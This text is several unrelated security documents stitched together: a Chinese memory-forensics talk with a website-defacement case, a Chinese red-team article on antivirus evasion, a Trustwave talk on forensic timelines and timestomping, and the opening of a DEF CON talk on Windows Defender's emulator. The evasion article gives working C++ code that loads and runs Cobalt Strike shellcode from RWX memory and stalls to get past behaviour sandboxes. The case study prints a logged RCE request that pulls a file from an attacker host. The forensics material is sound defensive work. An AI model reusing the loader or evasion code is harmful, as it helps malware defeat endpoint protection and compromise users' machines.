2007年
2009年
2010年
2011年
安全研究员Andreas Schustert于2006年提出了在
Windows内存镜像文件中寻找进程和线程的方法,并使用Perl
语言开发了PTFinder,该工具可以找到Windows内存文件的
进程和线程信息。
PTFinder
Andreas Schustert
2002年
2005年
2006年
2007年
2009年
2010年
2011年
纽约大学计算机科学与工程系助理教授Brendan Dolan-
Gavitt于2008年通过分析Windows的内存获取了注册表信息,
并通过提取注册表信息来判断系统是否受到了攻击。同年,
DFRWS继2005年的Windows内存取证分析挑战赛后又发起了
针对Linux系统的内存取证分析挑战赛。
2002年
2005年
2006年
2007年
2009年
2010年
2011年
2009年,加拿大计算机安全研究员Seyed Mahmood
Hejazi在DFRWS上提出了从Windows内存中提取敏感信息的
方法,同年,Zhang Shuhui等人提出了一种Kernel
Processor Control Region(KPCR)结构的提取方法,学界
对内存取证的研究开始初有成果。
2002年
2005年
2006年
2007年
2009年
2010年
2011年
DESCRIPTION OF THE MEMORY MANAGEMENT MECHANISM
PART
02
内存管理机制的简述
① 虚拟地址空间管理机制
② 物理页面管理机制
③ 地址转译和页面交换机制
Windows三大内存管理机制
Windows为满足多进程工作的需要,采用虚拟地址空间
的机制来进行内存管理,每个进程拥有逻辑独立的内存空间,
各进程地址空间相互隔离,互不干扰。
而这些虚拟地址空间是由VAD(Virtual Address Descriptor,
虚拟地址描述符)来管理的,VAD对象描述的是一些连续的
地址空间范围,但由于在整个内存地址空间当中,保留或提
交的地址范围可能是不连续的,所以,Windows会使用AVL树
的方式来管理VAD对象,形成VAD树。
因此,借助VAD,不仅能获取进程所使用的虚拟地址空
间信息,还可以获取到该进程的其他相关信息。
① 虚拟地址空间管理机制
② 物理页面管理机制
③ 地址转译和页面交换机制
Windows三大内存管理机制
由于Windows的进程都是在物理内存中执行的,因此
Windows需要管理物理地址所在的物理内存页面,Windows系
统使用PFN(Page Frame Number Database,页帧数据库)来
描述物理内存各页面的状态,PFN数据库中的每个项都分别
对应一个物理页面,记录了该页面的一些信息。
此外,Windows还维护着一组链表,分别将相同类型的
的页面链接起来,主要包括零化链表、空闲链表、备用链表、
修改链表、坏页面链表等。
① 虚拟地址空间管理机制
② 物理页面管理机制
③ 地址转译和页面交换机制
Windows三大内存管理机制
Windows的的地址转译机制,可将进程中所使用的虚拟
地址转换为物理内存中的物理地址,从而完成内存数据的定
位,为获取内存数据提取支持。
当运行的进程所需的内存大于计算机所安装的RAM时,
Windows将会采用页面交互机制来处理,要么进程使用了某
个尚未得到物理页面的虚拟地址,要么进程工作集限制其不
能拥有更多物理页面。
事实上,页面交换文件是物理内存的一种延伸,所以,
完整的内存数据应当包含物理内存数据和页面交换文件数据。
HOW TO GET MEMORY DATA
PART
03
如何获取内存数据
内存获取方法
①基于用户模式程序的内存获取(User level applications)
②基于内核模式程序的内存获取(Kernel level applications)
③基于系统崩溃转储的内存获取(Crash dump technique)
④基于操作系统注入的内存获取(Operating system injection)
⑤基于系统休眠文件的内存获取(Hibernation file based technique)
⑥基于系统冷启动的内存获取(Cold booting)
⑦基于虚拟化快照的内存获取(Virtualization)
⑧基于硬件的内存获取(DMA by Hardware)
基于硬件的内存获取,在事件响应中一
般很少用到,在各种内存获取方法当中,这
种方法的原子性(Atomicity)保持得最低。
内存获取方法
①基于用户模式程序的内存获取(User level applications)
②基于内核模式程序的内存获取(Kernel level applications)
③基于系统崩溃转储的内存获取(Crash dump technique)
④基于操作系统注入的内存获取(Operating system injection)
⑤基于系统休眠文件的内存获取(Hibernation file based technique)
⑥基于系统冷启动的内存获取(Cold booting)
⑦基于虚拟化快照的内存获取(Virtualization)
基于内核模式程序的内存获取
常用的提取工具:Dumpit , Redline , RamCapturer 等等
基于系统崩溃转储的内存获取
基于虚拟化快照的内存获取
△ Vmware Workstation的虚拟机快照内存vmem文件
△ ESXI的虚拟机快照内存vmem文件
△ ESXI生成快照时必须勾选“生成虚拟机的内存快照”
(最佳方法)
HOW TO ANALYSIS MEMORY DATA
PART
04
内存分析的工具
内存分析工具
主流工具有Rekall,Redline,Volatility等等,目前应用较为广泛、支持较多dump类型的免费内存分析工具(框架)是Volatility。
https://www.volatilityfoundation.org/
Volatility内存分析框架
Volatility自带的分析插件支持分析内存镜
像中保留的历史网络连接信息、历史进程、历
史命令记录等等。
Ex.
netscan——历史网络连接信息
psscan——历史进程表
cmdscan——历史命令记录
CASE ANALYSIS OF CRIME COLLECTION
PART
05
犯罪取证案例分析
背景:某单位网站遭到页面篡改
2018年3月21日 下午13点21分(已虚假化)
监控中心监测到某单位网站主页遭到页面篡改
情节较为严重,我接到通知后立即赶往现场进行处置。
现场勘查
到达现场勘查后发现,事发服务器是台虚拟机,操作系
统是Windows 2008 R2,网站使用phpstudy集成环境进行部
署,经查看发现,Windows事件日志服务并没有启用。
日志被清
由于该服务器承载着Web服务,且硬件防火墙只对外映
射80端口,初步推断是以Web攻击作为入口的,经查看,
apache的accesslog已经遭到清除。
幸运的是,accesslog配置了流式备份,我们在另一台日
志服务器上找到了完整且未失真的accesslog副本。
△被清除过的accesslog,只剩下攻击发生后的访问日志
分析日志
通过针对事发时间(13时21分)左右的accesslog进行分
析后,没有发现任何web攻击,这就很奇怪了,那就说明黑客
并没有直接用webshell发送篡改网页的指令。难道是通过NC
之类的反向连接建立shell来控制?
提取内存
为了求证我对于“黑客是通过反向连接shell来控制” 的
猜想,我分别通过调查开始时生成的虚拟机快照提取了内存镜
像,为了有多个内存样本进行交叉分析,我又使用dumpit工
具提取了内核级的内存完整镜像(物理内存+页面交换文件)。
分析内存
如果黑客确实是通过反向连接shell来实施控制的,那么
肯定曾经建立过一个异常的网络连接,内存中很可能会保留着
这个信息。
我通过Volatility内存分析框架对内存样本进行了网络连接
分析,但在事发时间并没有发现有可疑的网络连接。
诡异的进程
虽然查看历史网络连接没有发现可疑的网络连接行为,但我们提取了内存的历史进程信息时发现,有一个很可疑的程
序在事发时间正在运行,名为update.exe,进程名看起来十分有迷惑性,但我留意到,这个进程足足运行了3天之久,如
果这是一个正常的更新程序,不大可能会持续这么久。
恶意程序分析
从内存中提取出该进程的物理路径后,我找到了这个奇怪
的程序,是位于C盘的一个很深的目录里的,而且在同目录下,
我发现了名为image.jpg的篡改图片,随即,我对这个程序进
行了逆向分析,发现是个易语言程序。
逻辑炸弹
通过对该程序的逆向分析后发现,黑客这次利用了一个相
对比较少见的攻击方式——逻辑炸弹,程序代码中有一个条件
判断,当前时间大于2018年3月21日13点21分就会自动用该
程序目录下的image.jpg替换掉网站根目录的image.jpg,达
成篡改的目的,在确认图片已经篡改成功后将自动退出程序。
寻找入口
当确定这个易语言程序就是黑客用来篡改网页的payload以后,我开始调查这个程序是如何被传入服务器的,前面提
到过,这个web服务器只对外开放80端口,因此有很大可能是通过web应用漏洞来写入这个程序的。通过查看这个程序创
建时间,我们得知了程序的传入时间点,继而在accesslog中寻找这个时间点的web访问记录。
分析入口
在这个传入时间点,我们发现在accesslog中有一些POST请求(菜刀连接特征),指向网站一个上传目录的php文件,
经确认该文件是个webshell,用于上传篡改程序,而accesslog记录的来源IP是个美国的代理地址,并非真实地址,接着我
们继续调查webshell是如何被上传的。
疑犯落网
在accesslog中以webshell的文件名作为关键字进行搜索,
很轻松的就定位到了webshell的上传位置,通过对这个POST
请求的分析,可以确认这个web应用是存在任意代码执行漏洞
的,黑客通过这个漏洞写入了webshell,同时,我们发现了一
个某云服务商的IP地址,后来证实该IP是攻击者所持有。
XX.XX.XX.XX - - [19/Mar/2018:10:00:57 +0800] "POST
/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1" 200
31
siteid=1&modelid=1&username=3254235&password=1123589&pwd
confirm=123456789&email=123%40qq.com&nickname=i09dfdf&info
%5Bcontent%5D=href%3Dhttp%3A%2F%2FXX.XX.XX.XX%2Fsuccess.tx
t%3F.php%23.jpg&dosubmit=1&protocol="http://XX.XX.XX.XX/index.
php?m=member&c=index&a=register&siteid=1" "Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101
Firefox/61.0" -
事件链还原
2018年3月19日
02:17
黑客初次访问
网站
2018年3月19日
02:32
黑客开始尝试
进行渗透
2018年3月19日
09:57
黑客发现网站
存在RCE漏洞
2018年3月19日
10:00
黑客利用RCE
漏洞写入webshell
2018年3月19日
16:12
黑客webshell
上传篡改程序
2018年3月21日
13:21
篡改程序自动
执行网页篡改
2018年3月21日
14:54
安全专家到场
取证分析
2018年3月21日
20:33
取证分析结束
提交报告
谢谢观看
演讲人:伍智波 (SkyMine)
个人微信,欢迎交流
添加敬请备注:
公司名-姓名 | pdf |
前言
By:Astartes
杀软对抗貌似是个经久不衰的议题,在我看来他是红队必备的基础设施之一,在红队中不可缺少,我想
用这篇文章,尽量用大白话的形式来说一下 "静","动",这篇文章很基础。因为到头来我只讲了如何上
线。同时,这篇文章又与别的文章不太一样,我想从比较基础的东西让初学者知道到底该如何对抗。
静态免杀
首先我们先看下面这段代码,定义了两个数组
这两个数组的不同之处在于
1. 类型不同
Characterarr为字符数组,String为字符串。字符串在后面默认填\0
1. 存放区域不同 字符数组或者小数组存放的位置在栈里,而字符串是常量,在常量区
请一定要注意这两种的格式,字符串由双引号包裹,字符数组由单引号包裹
在汇编里如下
int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456" };
return 0;
}
char Characterarr[] = { '1','2','3','4','5','6' };
009E512F mov byte ptr [Characterarr],31h
009E5133 mov byte ptr [ebp-0Fh],32h
009E5137 mov byte ptr [ebp-0Eh],33h
009E513B mov byte ptr [ebp-0Dh],34h
009E513F mov byte ptr [ebp-0Ch],35h
009E5143 mov byte ptr [ebp-0Bh],36h
char String[] = { "123456" };
009E5147 mov eax,dword ptr [string "123456" (09E7B30h)]
009E514C mov dword ptr [String],eax
009E514F mov cx,word ptr ds:[9E7B34h]
009E5156 mov word ptr [ebp-1Ch],cx
在汇编代码里我们可以更清晰的看到 char Characterarr[] = { '1','2','3','4','5','6' }; 是通过mov 把数组里
的值放入了 ebp- 的位置,ebp是栈寄存器。
char String[] = { "123456" }; String确是由09E7B30h这个地址里的值传给eax的
这里的知识其实是C语言的内存四区以及PE结构的知识。如果你不懂,那没关系。 看我下面的操作 我们
可以重新生成一下第一个C语言程序,并且把那两个数组改成下面的 更改的代码如下
在编译好后,用十六进制编辑器打开这个exe,接着去搜索这两个字符数组。 看下图,我只找到了
String的123456123456123456。
同时静态查杀的原因既是如此,如果病毒的特征库里存在123456123456123456这个字符串,存在这个
字符串那他被扫描的时候就可以判断为病毒文件了。通过查找在磁盘中的文件的特征码(这些特征码由
病毒库通过大量分析得出)来进行查杀。
大家伙儿用的最多的cobaltstrike的shellcode,他生成的payload也是以字符串的形式,同样,它也保存
在常量区。
009E515A mov dl,byte ptr ds:[9E7B36h]
009E5160 mov byte ptr [ebp-1Ah],dl
int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456123456123456" };
return 0;
}
目前大家用到的最多的方式是对shellcode这个字符串加密,加密过后,虽然他依然在常量区,但是已经
不在杀软的特征库里了。 你也可以把他放入到栈里,这里有一个问题是当你的字符数组里的值太多的时
候,或者 选择Release时会给你放到常量区,这是因为编译器会进行优化。
这是我没有进行处理的时候,通过cobaltstrike默认提供的字符串的形式去加载的。火绒直接识别出了特
征
下面的代码是我用来实现栈中存放数据的。
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* buf1()
{
char buf[] = { '\xfc','\xe8','\x89','\x00','\x00'}; //CS的shellcode太长,这里是
实例
char* charbuf = new char[799];
memcpy(charbuf, buf, 799);
return charbuf;
}
typedef void(__stdcall* CODE) ();
int runshellcode()
{
char* charbuf = buf1();
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
if (!(memcpy(p, charbuf, 799)))
MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
用栈的方式来实现非常简单,只需要把字符串改成字符数组即可,但是我们要注意编译器选择的栈的大
小,我记得visual studio的默认栈的大小为1MB,如果超出这个大小,则情况未知,因为栈是由编译器
进行维护的,我们是不可控的。 我用的是visual studio 2022 项目为debug版,因为选择Release时会给
你放到常量区,同时我我的shellcode大小为799个, 我在把shellcode放入栈以后立马给了堆里,因为
我怕再多的操作栈会被覆盖。
当然也可以通过编译器的选项来更改栈的大小,visual studio 的设置如下(我的是为默认设置)
CODE code = (CODE)p;
code();
return 0;
}
char buf[] = { 's','h','e','l','l'} //栈里
char* charbuf = new char[799]; //创建个堆,其实这行在上面之前会更好
memcpy(charbuf, buf, 799); //立马拷贝到堆里
return charbuf;
接着我把生成好的文件放入了虚拟机
通过报警提示可以发现,这里的提示是(行为沙盒)。 并不是直接识别出了我们的特征码,到此我们已
经过掉了静态的特征码查杀。
动态查杀
虽然我们已经绕过了静态查杀,但是现在的还是报毒,火绒的行为沙盒的介绍在这里http://www.huoro
ng.cn/info/148473162658.html 当然除了火绒之外,其他的杀软也是有行为沙盒的,比如windows
defender。 我查阅了大量的资料,很多资料是通过环境探测,父进程,命令参数,等各种方式,这些方
式很好,但是真的不适合真实环境的对抗。
我这边的思路是只要在这个沙盒运行的时候让我们的程序不执行shellcode就好了
这种沙盒是有运行时间的,最多在10ms。因为再长了会很影响用户体验的 我们只要想办法让我们的
shellcode再10ms后运行加载即可。 别用sleep因为sleep会被hook 我想了很多种办法,最后发现还是
这个比较好用。因为它适合各种环境 我这里用的办法是开辟N个很大的堆,然后填充0。接着去打印他
开辟很大的堆这个是刚开始可以直接过windows defender的行为沙盒的。 但是大部分时候我们不知道
对方用的是什么杀软。所以后面的填充0以及打印是一个过沙箱比较通用的方法。(同时他也可以绕过云
上的检测,因为云把你的程序拖到云上机器来进行分析。) 众所周知,输入输出函数效率是很低的。 完
整的代码如下。
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
char* buf1()
{
char buf[] = { "SHELLCODE" };
char* charbuf = new char[799];
memcpy(charbuf, buf, 799);
return charbuf;
}
typedef void(__stdcall* CODE) ();
int runshellcode()
{
char* charbuf = buf1();
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
if (!(memcpy(p, charbuf, 799)))
MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
CODE code = (CODE)p;
code();
return 0;
}
int createheap() //Bypass
{
int i = 0;
int j = 0;
char* strpi = NULL;
strpi = (char*)malloc(10000);
for (i = 0; i < 10000; i++)
{
strpi[i] = 0;
printf("%d,%d\n", strpi[i], i);
}
/*
for (j = 0; j < 300; j++)
{
printf("%d,%d\n", strpi[j], j);
}
*/
free(strpi);
return 0;
}
int main()
{
int i;
for (i = 0; i < 1000; i++)
{
createheap();
}
if (i == 1000)
{
runshellcode();
}
return 0;
下面测试一下~
} | pdf |
I’m your MAC(b) Daddy
Grayson Lenik – Trustwave
@handlefree
Copyright Trustwave 2010
Confidential
Bio
•
Security Consultant for Trustwave’s Spiderlabs.
•
Author of the Digital Forensics blog “An Eye on Forensics”
•
GIAC Certified Forensic Analyst (GCFA)
•
Microsoft Certified Systems Engineer (MCSE)
•
Qualified Security Assessor (QSA)
Copyright Trustwave 2010
Confidential
Agenda
• What are MACB times?
• Where are they stored?
• What is a forensic timeline?
• Why is it useful?
• Why do it may way?
• Doing it my way
• My way just got easier
• Timestamp alteration (Timestomping)
• Defeating timestamp alteration
• Case studies and examples.
• Tools
• Conclusion
Copyright Trustwave 2010
Confidential
MAC(b) Times
What do they stand for?
The MAC(b) times are derived from file system metadata and they
stand for:
Modified
Accessed
Changed ($MFT Modified)
and
Birth (file creation time)
The (b) is in parentheses because not all file systems record a birth
time. For the purposes of this presentation I focus on the NTFS file
system as it is the most common file system we see when working
investigations.
Copyright Trustwave 2010
Confidential
Where are they stored?
Two places, both are located in the Master File Table ($MFT):
The first is $STANDARD_INFO Attribute.
$STANDARD_INFO ($SI) stores file metadata such as flags, the file SID, the file
owner and a set of MAC(b) timestamps.
$STANDARD_INFO is the timestamp collected by Windows explorer, fls,
mactime, timestomp, find and the other utilities related to the display of
timestamps.
*http://blogs.technet.com/b/ganand/archive/2008/02/19/ntfs-time-stamps-file-
created-in-1601-modified-in-1801-and-accessed-in-2008.aspx
Copyright Trustwave 2010
Confidential
Where are they stored?
The second attribute is $FILE_NAME Att.
$FILE_NAME ($FN) contains the filename in Unicode and another
set of MAC(b) timestamps.
The difference?
$STANDARD_INFO can be modified by user level processes like
timestomp.
$FILE_NAME can only be modified by the system kernel. There are
no known anti-forensics utilities that can accomplish this.
Copyright Trustwave 2010
Confidential
What is a forensic timeline?
•
A forensic timeline is a string of digital events sorted into a format
that is easily readable by a human being.
•
It can contain events from a single source, like the file system itself,
or events from multiple sources like the system registry, log files,
event logs, etc…
•
The only way I know of to get a 30,000 foot view of the events that
were taking place on a machine during a given time frame.
Copyright Trustwave 2010
Confidential
Why is it useful?
Forensic timelines are infinitely useful at pinpointing all (or
most) intruder activity at a given point in time. It is also an
excellent place to generate initial case leads and keywords.
•
Periods of intruder activity stick out like a sore thumb.
•
Identifying a starting point of intrusion is invaluable to finding other
pieces of malware and more of the total activity that took place on
the targeted system.
•
When you add in registry timeline info you get a more complete
picture of code being dropped and services being created. In some
cases definitive proof of which user id was used to compromise the
system.
Copyright Trustwave 2010
Confidential
Why do it my way?
It’s fast…
It’s easy…
It’s easily searchable so you can use your scalpel instead of
your shotgun.
It’s free! (more or less)
•
I can generate a timeline including full file system data and all the registry
hives, search it for keywords and identify time altered files before any
popular GUI based forensic utilities have loaded and verified an image.
•
And in a few minutes, I’m going to show you how!
Copyright Trustwave 2010
Confidential
Doing it my way.
Generate a bodyfile with “fls”:
Fls is open source and is available as part of The Sleuthkit (TSK)*
•
Fls –m C: -f ntfs –r \\.\Z: >fs_bodyfile
− m Output in standard format (timemachine format)
− C: name the mountpoint (could be D:, /var, etc..)
− -f <filesystem type>
− -r display directories recursively
− \\.\Z: point it at a logical device
− > dump it out to a file called fs_bodyfile
− This can be done on a live file system by using F-response (the only part of
this that’s not free, but Oh so worth it.)
* http://www.sleuthkit.org/sleuthkit/download.php
Copyright Trustwave 2010
Confidential
Doing it my way.
Fls can also be run against a static (postmortem) image:
Like so:
•
Fls –m C: –o 63 –r <path_to_image> >fs_bodyfile
− -o <sector offset where the file system starts in the image.>
Or against a split image:
Like so:
•
Fls –m C: -o 63 –r <path_to_image>, <path to image.002>, <path to
image.003> >fs_bodyfile
− -o <sector offset where the file system starts in the image.>
Copyright Trustwave 2010
Confidential
Doing it my way.
Here’s a snippet of what a bodyfile looks like:
It’s not very user friendly. We’re going to see that inetmgr.exe again…
0|C:/WINDOWS/system32/imagehlp.dll|45808-128-
1|r/rrwxrwxrwx|0|0|150016|1294398049|1202272697|1288808002|1181611484
0|C:/WINDOWS/system32/imgutil.dll|53632-128-
1|r/rrwxrwxrwx|0|0|34816|1294399529|1236501098|1288808002|1236501098
0|C:/WINDOWS/system32/inetcomm.dll|39531-128-
1|r/rrwxrwxrwx|0|0|695808|1295017350|1276070390|1288808002|1181612350
0|C:/WINDOWS/system32/inetcpl.cpl|53636-128-
1|r/rrwxrwxrwx|0|0|1469440|1294399448|1284055250|1294399566|123650129
20|C:/WINDOWS/system32/inetinfo.chm|46996-128-
0|r/rrwxrwxrwx|0|0|929955|1099455632|1099455632|1293869074|1099455632
0|C:/WINDOWS/system32/inetmgr.exe|47066-128-
3|r/rrwxrwxrwx|0|0|1301406|1295017321|1068995339|1294399979|106899533
9
Copyright Trustwave 2010
Confidential
Doing it my way
Turning fls output into something useful and human-readable:
Mactime.pl is also available as part of TSK.
Perl mactime.pl –d –b fs_bodyfile >fs_timeline.csv
-d output in comma delimited format
-b <path to bodyfile>
> output to a file called fs_timeline.csv
Copyright Trustwave 2010
Confidential
Doing it my way.
Your timeline displayed in Excel.
Copyright Trustwave 2010
Confidential
Doing it my way.
Adding information to make it a “super” timeline.
•
I like to add registry times and little else, adding too much information
can make the timeline difficult to interpret. (Data Overload) However,
there are times when more data is great.
•
Adding registry MAC times is accomplished with the use of “regtime”
•
Regtime.pl is a perl script written by Harlan Carvey and is included in
the Sans Incident Response and Forensics Toolkit (SIFT)
•
Log2timeline is a great utility written by Kristinn Gudjonsson for adding
in Windows event logs, Dr. Watson logs, IIS and Apache logs and any
number of other things. (The latest version contains 32 input modules.)
In between writing this presentation and now delivering it, Kristinn has
released a new version that makes my entire presentation obsolete.
Thanks a lot . We’ll talk more about L2T in just a minute.
Copyright Trustwave 2010
Confidential
Doing it my way.
The process:
Extract the registry hives from %systemroot%/Windows/System32/config and
the ntuser.dat files from their respective profiles in C:\Documents and
Settings\<username> (Windows XP), C:\Users\<username> (Windows
Vista and 7).
Perl regtime.pl –m <hivename> -r <filepath>
The <hivename> variables are:
HKLM/SAM, HKLM/SECURITY, HKLM/Software, HKLM/SYSTEM and
HKEY_USER
Copyright Trustwave 2010
Confidential
Doing it my way
So.
Perl regtime.pl –m HKLM/SAM –r C:\Cases\registry\SAM >>fs_bodyfile
The double >> will append your new output to the end of the previous
bodyfile. Using a single > will crush the data you already have in
your bodyfile, I always make a copy of the fs-body first…just in
case.
Repeat for each hive file and NTUSER.DAT you want to add…
Run mactime again.
Perl mactime.pl –d –b fs_bodyfile >super_timeline.csv
Copyright Trustwave 2010
Confidential
Doing it my way.
And there you have it. A human-readable timeline including registry keys
in a sortable, searchable CSV file (easily opened in Excel).
The .csv format is also searchable via the UNIX grep command as well as many
other stackable commands.
C:\tools\strings super_timeline.csv |grep –i inetmgr.exe
Sun Nov 16 2003 08:08:59,1301406,m..b,r/rrwxrwxrwx,0,0,47066-128-3,C:/WINDOWS/system32/inetmgr.exe
Mon Apr 23 2007 10:53:45,19456,m...,r/rrwxrwxrwx,0,0,37482-128-3,C:/WINDOWS/system32/inetsrv/inetmgr.exe
Mon Jun 11 2007 19:36:29,19456,...b,r/rrwxrwxrwx,0,0,37482-128-3,C:/WINDOWS/system32/inetsrv/inetmgr.exe
Tue Jun 12 2007 09:47:42,0,m...,0,0,0,0,HKLM/Software/Microsoft/Windows/CurrentVersion/App Paths/inetmgr.exe
Wed Nov 03 2010 12:01:34,19456,.a..,r/rrwxrwxrwx,0,0,37482-128-3,C:/WINDOWS/system32/inetsrv/inetmgr.exe
Wed Nov 03 2010 12:13:37,19456,..c.,r/rrwxrwxrwx,0,0,37482-128-3,C:/WINDOWS/system32/inetsrv/inetmgr.exe
Fri Jan 07 2011 04:32:59,1301406,..c.,r/rrwxrwxrwx,0,0,47066-128-3,C:/WINDOWS/system32/inetmgr.exe
Fri Jan 14 2011 08:02:01,1301406,.a..,r/rrwxrwxrwx,0,0,47066-128-3,C:/WINDOWS/system32/inetmgr.exe
Copyright Trustwave 2010
Confidential
Timestamp Alteration (Timestomping)
There are a couple of interesting things to notice on the
previous slide.
•
Inetmgr.exe has 2 separate locations on this server. The one in
~/inetsrv/ is a valid location. %systemroot%Windows/System32/ is not.
− The binary in /System32 is malware.
•
The date on that binary does not fit the rest of our system timeline, this
server wasn’t even put into production until 2007.
− Sun Nov 16 2003 08:08:59,1301406,m..b,r/rrwxrwxrwx,0,0,47066-128-
3,C:/WINDOWS/system32/inetmgr.exe
− How do we find out if this has been altered or if it is just an
anomaly?
Copyright Trustwave 2010
Confidential
Timestamp Alteration (Timestomping)
Some strong words from Vincent Liu, the creator of
Timestomp, in an interview with CIO magazine May of
2007.
•
“…But forensic people don’t know how good or bad their tools are, and they’re
going to court based on evidence gathered with those tools. You should test the
validity of the tools you’re using before you go to court. That’s what we’ve done,
and guess what? These tools can be fooled. We’ve proven that.
− I agree, tools can be fooled. Good investigators cannot.
•
“For any case that relies on digital forensic evidence, Liu says, It would be a
cakewalk to come in and blow the case up. I can take any machine and make it
look guilty, or not guilty. Whatever I want.”
− I beg to differ.
Copyright Trustwave 2010
Confidential
Defeating Timestamp Alteration
Proving Mr. Liu wrong.
Remember that second set of attributes in the $MFT? $FILE_NAME?
•
AS of the writing of this presentation there is nothing known that can
change these attributes on a live system.
•
How do we get at those attributes and make some sense out of the
$MFT?
− Harlan Carvey to the rescue (again)!
•
Harlan has written a script called mft.pl that he recently made publicly
available on www.regripper.net. This script parses out the data related
to the MAC(B) attributes and outputs it in a (mostly) human-readable
format.
Copyright Trustwave 2010
Confidential
Defeating Timestamp Alteration
Ripping the $MFT
•
Perl mft.pl c:\cases\registry\$MFT >ripped_mft.txt
− Simply outputs a .txt file containing the MAC(B) attributes stored in both
$STANDARD_INFO and $FILE_NAME
•
A little more grep-fu and we’ve got what we need.
− Strings ripped_mft.txt |grep –C 6 –i inetmgr.exe
• -C 6 show 6 lines of context surrounding the search hit
• -i ignore case
Copyright Trustwave 2010
Confidential
Defeating Timestamp Alteration
--
M: Sun Nov 16 15:08:59 2003 Z
Look familiar?
A: Fri Jan 14 15:02:01 2011 Z
C: Fri Jan 7 11:32:59 2011 Z
B: Sun Nov 16 15:08:59 2003 Z
0x0030 112 0 0x0000
0x0000
FN: inetmgr.exe Parent Ref: 2783 Parent Seq: 1 $F_N
M: Wed Jul 21 17:40:21 2010 Z
Unaltered MAC(B)
A: Wed Jul 21 17:40:21 2010 Z
C: Wed Jul 21 17:40:21 2010 Z
B: Wed Jul 21 17:40:21 2010 Z Unaltered MAC(B)
0x0080 72 1 0x0000
0x0000
Copyright Trustwave 2010
Confidential
Defeating Timestamp Alteration
Interpreting the output of our search.
The result of the 6 lines before and after the filename “inetmgr” are the
MAC(b) times from $STANDARD_INFO showing the suspect Modifed and
Birth times and the MAC(b) times from the $FILE_NAME attribute which
shows the accurate birth date and time of the file.
•
Definitive evidence of time alteration!
•
The second set of timestamps blows away the use of timestomp.
•
Trustwave is encountering the use of this regularly in our investigations.
Copyright Trustwave 2010
Confidential
My way just got easier
The latest version of log2timeline has added functionality that
automates virtually everything I just talked about.
c:\perl\log2timeline\log2timeline.pl -r <directory> -z <timezone> -f
<logtype> -w <outfile.csv>
•
Version .60 runs on Windows as well as Linux
•
It will automatically parse the registry hives, event logs, the $MFT,
IIS logs and just about anything else you can think of.
•
Nice work Kristinn, soon nobody will need me at all.
Copyright Trustwave 2010
Confidential
Demo Time
•
Create a super timeline from a postmortem image using fls,
regtime and mactime.
•
Perform a string search for known malicious files in that
timeline.
•
Verify timestamps of recovered files by comparing $SI and
$FN from the $MFT
Copyright Trustwave 2010
Confidential
Tools
Tools used and credit to their creators:
Regtime.pl and mft.pl
Harlan Carvey. Author of “Windows Forensic Analysis”, “Windows Registry
Forensics” and the supporting “Windows Incident Response” blog.
http://windowsir.blogspot.com
Fls and mactime.pl
Brian Carrier. Author of “Filesystem Forensic Analysis” and the creator of “The
Sleuth Kit”
http://www.sleuthkit.org
Log2timeline
Kristinn Gudjonsson. Author GCFA Gold paper “Mastering the Super Timeline
With log2timeline” and the forensics blog “IR and Forensic talk”
http://blog.kiddaland.net
Copyright Trustwave 2010
Confidential
Tools
More tools used and credit to their creators.
•
The original mac_daddy was written by Rob Lee and was absorbed
into mactime by Brian Carrier. It’s only fair to mention Rob since he
is The original MAC(b) daddy.
•
Special thanks to Chris Pogue (@cpbeefcake) for teaching me his
“Sniper Forensics” methodology and always having the time to
mentor me, even when he doesn’t have the time to mentor me.
Copyright Trustwave 2010
Confidential
Conclusion
Real world anti-forensics.
In the course of real world investigations we regularly encounter malware and
attackers that are using anti-forensics techniques in an attempt to obfuscate
their trail. As attackers start to use these tools more regularly, the
investigators that work the cases need to be better armed and prepared to
recognize and defeat their methods.
•
Everything leaves trace evidence somewhere, so know how your tools
work and not just that they do. (Locard’s Exchange Principle)
•
Remember that the tools do not make the investigator, it’s the
investigators use of the tools that make them effective.
•
Be aware that these tactics are in use.
Questions??
Thank You!
[email protected]
http://eyeonforensics.blogspot.com/
@handlefree | pdf |
Windows Offender:
Reverse Engineering
Windows Defender's
Antivirus Emulator
Alexei Bulazel
@0xAlexei
DEF CON 26
About Me
● Security researcher at ForAllSecure
● Firmware RE & cyber policy at River Loop Security
● RPI / RPISEC alumnus
● First time speaking at DEF CON!
@0xAlexei
This is my personal research, any views and opinions
expressed are my own, not those of any employer
This Presentation Is...
● A deeply technical look at
Windows Defender
Antivirus’ binary emulator
internals
● As far as I know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator
This Presentation Is...
● A deeply technical look at
Windows Defender
Antivirus’ binary emulator
internals
● As far as I know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator
This Presentation Is Not…
● An evaluation of Windows
Defender Antivirus’
efficacy as an antivirus
product
● Related to Windows
Defender ATP, or any
technologies under the
Windows Defender name
Outline
1. Introduction
a. Background
b. Introduction to Emulation
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Why Windows Defender Antivirus
Windows’ built-in antivirus software:
●
Now the “Defender” name covers multiple mitigations and security
controls built into Windows
●
This presentation is about Windows Defender Antivirus, not Windows
Defender ATP, Application Guard, Exploit Guard, etc…
Why Windows Defender Antivirus
● Huge AV market share - “8% of systems running Windows 7 and
Windows 8 are running Windows Defender and more than 50% of
Windows 10 devices”*
*windowsreport.com/windows-defender-enterprise-antivirus/
Windows’ built-in antivirus software:
●
Now the “Defender” name covers multiple mitigations and security
controls built into Windows
●
This presentation is about Windows Defender Antivirus, not Windows
Defender ATP, Application Guard, Exploit Guard, etc…
Why Windows Defender Antivirus
